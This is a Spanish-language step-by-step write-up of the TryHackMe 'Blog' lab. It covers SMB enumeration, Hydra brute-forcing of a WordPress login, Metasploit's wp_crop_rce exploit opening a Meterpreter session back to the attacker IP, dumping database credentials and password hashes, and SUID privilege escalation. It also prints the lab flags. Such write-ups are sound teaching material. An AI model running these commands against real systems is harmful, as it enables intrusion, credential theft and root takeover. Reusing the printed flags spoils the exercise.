TryHackMe Medium Target IP: 10.128.165.95

Máquina Blog

Resolución paso a paso de la máquina Blog de TryHackMe, analizando el servicio Samba, sorteando trampas o rabbit holes de esteganografía, explotando la vulnerabilidad de Crop-Image en WordPress para obtener ejecución remota de comandos, y escalando privilegios analizando un binario SUID mediante ltrace.

#Linux#Samba#WordPress#Metasploit#WP-Crop-RCE#Hydra#SUID#Ltrace#Rabbit Hole

Fase 1: Reconocimiento (Escaneo de Puertos)

El primer paso es añadir el host objetivo a nuestro archivo /etc/hosts para mapear el dominio blog.thm a la dirección IP asignada (10.128.165.95):

Configuración de /etc/hosts
Edición de /etc/hosts asociando la IP de la máquina con el dominio blog.thm

Escaneo Completo de Nmap

Realizamos un escaneo completo de puertos TCP (-p-), identificando versiones (-sV) y ejecutando scripts de reconocimiento básico (-A), con velocidad muy agresiva (-T5):

sudo nmap -sV -T5 -A -p- blog.thm
Escaneo inicial de puertos de Nmap
Resultados del escaneo de Nmap sobre blog.thm

Resultados Clave de Nmap

El escaneo revela 4 puertos abiertos principales:

  • Puerto 22 (SSH): Servidor OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocolo 2.0).
  • Puerto 80 (HTTP): Servidor web Apache httpd 2.4.29 corriendo WordPress 5.0 con el título “Billy Joel’s IT Blog; The IT blog”. Se identifica /wp-admin/ en el archivo robots.txt.
  • Puerto 139 y 445 (SMB): Servidor de compartición de archivos Samba (Samba smbd 3.X - 4.X y Samba smbd 4.7.6-Ubuntu).

Fase 2: Enumeración de Recursos Compartidos (SMB)

1. Listado de carpetas compartidas

Enumeramos los recursos compartidos en el servidor Samba sin autenticar (acceso anónimo/nulo) utilizando smbclient:

smbclient -L blog.thm -N
Listado de recursos compartidos de SMB
Identificación del recurso compartido BillySMB

Vemos un recurso compartido sospechoso llamado BillySMB. Comprobamos los permisos y mapeo de las carpetas:

Verificación de permisos de recursos compartidos
Confirmación de permisos de lectura válidos sobre BillySMB

La enumeración detallada del servicio Samba mediante la herramienta enum4linux nos revela las SID de los usuarios del sistema, detectando dos cuentas locales de usuario:

  • bjoel (Billy Joel)
  • smb
Enumeración de usuarios por Samba con enum4linux
Listado de usuarios locales identificando a bjoel mediante enum4linux

2. Extracción de archivos del recurso compartido

Nos conectamos al recurso BillySMB como usuario invitado (guest):

smbclient //blog.thm/BillySMB -U guest

Dentro del directorio, encontramos tres archivos interesantes y los descargamos a nuestra máquina local:

  • Alice-White-Rabbit.jpg
  • tswift.mp4
  • check-this.png
Descarga de archivos de BillySMB
Descarga de archivos del recurso compartido BillySMB

Fase 3: Análisis de los Archivos Obtenidos (¿Vía Intrusión o Trampa?)

1. El código QR de check-this.png

El archivo check-this.png contiene un código QR:

Código QR en check-this.png
Imagen check-this.png con un código QR

Lo escaneamos localmente con la herramienta zbarimg:

zbarimg check-this.png
Escaneo del código QR con zbarimg
El código QR redirige a un vídeo musical de Billy Joel en YouTube

El código QR nos redirige a una URL de YouTube correspondiente al tema “We Didn’t Start The Fire” de Billy Joel. Esto es un rabbit hole o distracción humorística.

2. Esteganografía en Alice-White-Rabbit.jpg

Intentamos buscar archivos ocultos en la imagen Alice-White-Rabbit.jpg utilizando la herramienta stegseek con el diccionario rockyou.txt:

stegseek Alice-White-Rabbit.jpg /usr/share/wordlists/rockyou.txt
Estegoanálisis de las imágenes descargadas
Stegseek encuentra un archivo note.txt oculto con contraseña vacía

El descifrado de esteganografía tiene éxito con una contraseña vacía (""), extrayendo el archivo note.txt (guardado como Alice-White-Rabbit.jpg.out). Al abrirlo, leemos el siguiente mensaje: You've found yourself in a rabbit hole, friend.

Esto nos confirma explícitamente que toda la línea de análisis de los archivos de Samba es una trampa. Nuestra vía real de intrusión debe estar en la web.


Fase 4: Enumeración de WordPress y Fuerza Bruta (Acceso Inicial)

1. Descubrimiento de Usuarios en WordPress

Visitamos el blog principal en http://blog.thm. Encontramos una publicación titulada “A Note From Mom” escrita por el usuario Karen Wheeler:

Página de inicio del blog de WordPress
Publicación realizada por Karen Wheeler en el blog

Ejecutamos wpscan para enumerar de manera automatizada a los usuarios y plugins vulnerables:

wpscan --url http://blog.thm
Ejecución inicial de WPScan
Escaneo básico con WPScan identificando la versión 5.0 de WordPress

Inspeccionando más a fondo el post de Karen Wheeler (author/kwheel/), leemos un mensaje dirigido a “Billy”:

Página de autor de Karen Wheeler
Detalles del post de kwheel que confirman los nombres de usuario del sitio

Gracias a esta información y al fuzzing de autores, identificamos los nombres de usuario reales en la base de datos de WordPress:

  • kwheel (Karen Wheeler)
  • bjoel (Billy Joel)

2. Fuerza Bruta SSH/HTTP a kwheel

Utilizamos hydra para lanzar un ataque de fuerza bruta por diccionario contra el panel de inicio de sesión de WordPress (/wp-login.php) para el usuario kwheel:

hydra -l kwheel -P /usr/share/wordlists/rockyou.txt blog.thm http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:incorrect" -v
Ataque de fuerza bruta con Hydra contra WordPress
Hydra encuentra la contraseña del usuario kwheel

Hydra encuentra con éxito la contraseña de kwheel:

  • Contraseña: cutiepie1

Iniciamos sesión en http://blog.thm/wp-admin/ con estas credenciales:

Acceso al panel de administración como kwheel
Panel de administración de kwheel confirmando privilegios restringidos (Author)

El usuario kwheel no tiene rango de Administrador (no aparecen opciones de instalación de plugins, edición de código ni configuraciones generales), pero cuenta con permisos de Autor, lo que le permite crear borradores de entradas y cargar imágenes multimedia al servidor.


Fase 5: Explotación Web y Ejecución de Comandos (RCE)

1. Análisis de Vulnerabilidades (CVE-2019-8943)

Investigamos vulnerabilidades que afecten a WordPress 5.0. Encontramos una vulnerabilidad crítica documentada como CVE-2019-8943 (junto con CVE-2019-8942) conocida como WordPress Crop-image Shell Upload:

Explotación de WordPress Crop-image en Exploit-DB
Detalles del exploit EDB-ID 46662 para RCE en WordPress 5.0.0

Esta vulnerabilidad de tipo Path Traversal se da en la función wp_crop_image(). Permite a usuarios autenticados con rango de autor (capaces de subir imágenes) modificar metadatos de las imágenes cargadas para forzar la inclusión de archivos locales PHP arbitrarios, logrando la ejecución de comandos.

2. Explotación automatizada en Metasploit

Iniciamos Metasploit (msfconsole) en nuestra terminal y seleccionamos el exploit correspondiente:

msfconsole
search wordpress crop
use exploit/multi/http/wp_crop_rce
show options
Búsqueda del módulo de explotación en Metasploit
Selección del módulo wp_crop_rce en Metasploit

Configuramos las variables requeridas (IP de la máquina víctima, credenciales obtenidas de kwheel y nuestra IP atacante):

set PASSWORD cutiepie1
set USERNAME kwheel
set RHOSTS blog.thm
set LHOST 192.168.149.112
exploit
Ejecución exitosa del exploit
Explotación exitosa y obtención de una sesión de Meterpreter como www-data

Metasploit sube la imagen adulterada, dispara la vulnerabilidad y nos abre una sesión interactiva de Meterpreter en la máquina víctima como el usuario del servidor web www-data.


Fase 6: Movimiento Lateral e Inspección del Sistema

1. Extracción de Credenciales en wp-config.php

Inspeccionamos el archivo de configuración de WordPress (wp-config.php) para ver si podemos saltar a la base de datos o reutilizar credenciales:

Lectura del archivo wp-config.php
Credenciales de la base de datos localizadas en wp-config.php

Obtenemos los parámetros de conexión de la base de datos:

  • DB_USER: wordpressuser
  • DB_PASSWORD: LittleYellowLamp90!@

2. Acceso a MySQL y Extracción de Hashes de Contraseña

Accedemos localmente al monitor de MySQL:

mysql -u wordpressuser -p -h localhost
# Contraseña: LittleYellowLamp90!@
Acceso exitoso a MySQL
Conexión exitosa a la base de datos de WordPress

Dentro del monitor de base de datos, realizamos una consulta a la tabla wp_users para obtener todos los usuarios y sus hashes de contraseña:

select * from wp_users;
Hashes de contraseña de la tabla wp_users
Hashes obtenidos de bjoel y kwheel

Obtenemos el hash del administrador bjoel:

  • $P$BjoFHe8zIyjnQe/CBvaltzzC6ckPc0/

Intentamos romper este hash de WordPress utilizando John the Ripper con el diccionario rockyou.txt:

Intento de cracking fallido con John
El cracking del hash finaliza sin éxito, indicando que es otro rabbit hole

El intento de crackeo finaliza sin resultados, lo que nos indica que descifrar la contraseña de bjoel no es necesario para escalar privilegios.


Fase 7: Escalada de Privilegios a Root

1. Búsqueda de Binarios SUID

Buscamos binarios en el sistema con permisos de ejecución SUID (que corren bajo el contexto de root):

find / -perm -u=s -type f 2>/dev/null
Búsqueda de archivos SUID
Identificación del binario personalizado /usr/sbin/checker

Detectamos un binario SUID inusual en la ruta:

  • /usr/sbin/checker

2. Análisis del Binario Checker con ltrace

Ejecutamos el programa checker a través de la herramienta ltrace para analizar qué llamadas de biblioteca realiza durante su ejecución:

ltrace checker
Análisis con ltrace
ltrace revela el chequeo de la variable de entorno admin para darnos privilegios

El resultado de ltrace nos desvela el funcionamiento del binario:

  1. El programa realiza una llamada getenv("admin") para comprobar si existe la variable de entorno admin.
  2. Si la variable no está definida (devuelve nil), imprime en pantalla el mensaje "Not an Admin" y finaliza.
  3. Si la variable está presente, el binario procede a darnos acceso como root.

Por lo tanto, la explotación consiste en definir y exportar temporalmente la variable admin con cualquier valor, y a continuación, llamar de nuevo al programa:

export admin=1
/usr/sbin/checker
whoami
id

Al hacerlo, el binario con bit SUID ejecuta /bin/sh como el propietario del archivo, dándonos una terminal interactiva de root.

3. Búsqueda y Lectura de las Flags

Buscamos los archivos user.txt y root.txt en el sistema:

find / 2>/dev/null | grep user.txt
Lectura de las flags de usuario y root
Lectura final de la flag de usuario y flag de root

Encontramos dos archivos de flag de usuario:

  • /home/bjoel/user.txt
  • /media/usb/user.txt

Leemos el contenido de /media/usb/user.txt (el archivo de /home/bjoel/ es un flag falso de despiste) y del archivo /root/root.txt:

cat /media/usb/user.txt
cat /root/root.txt
  • Flag de Usuario: c8421899aae571f7af486492b71a8ab7
  • Flag de Root: 9a0b2b618bef9bfa7ac28c1353d9f318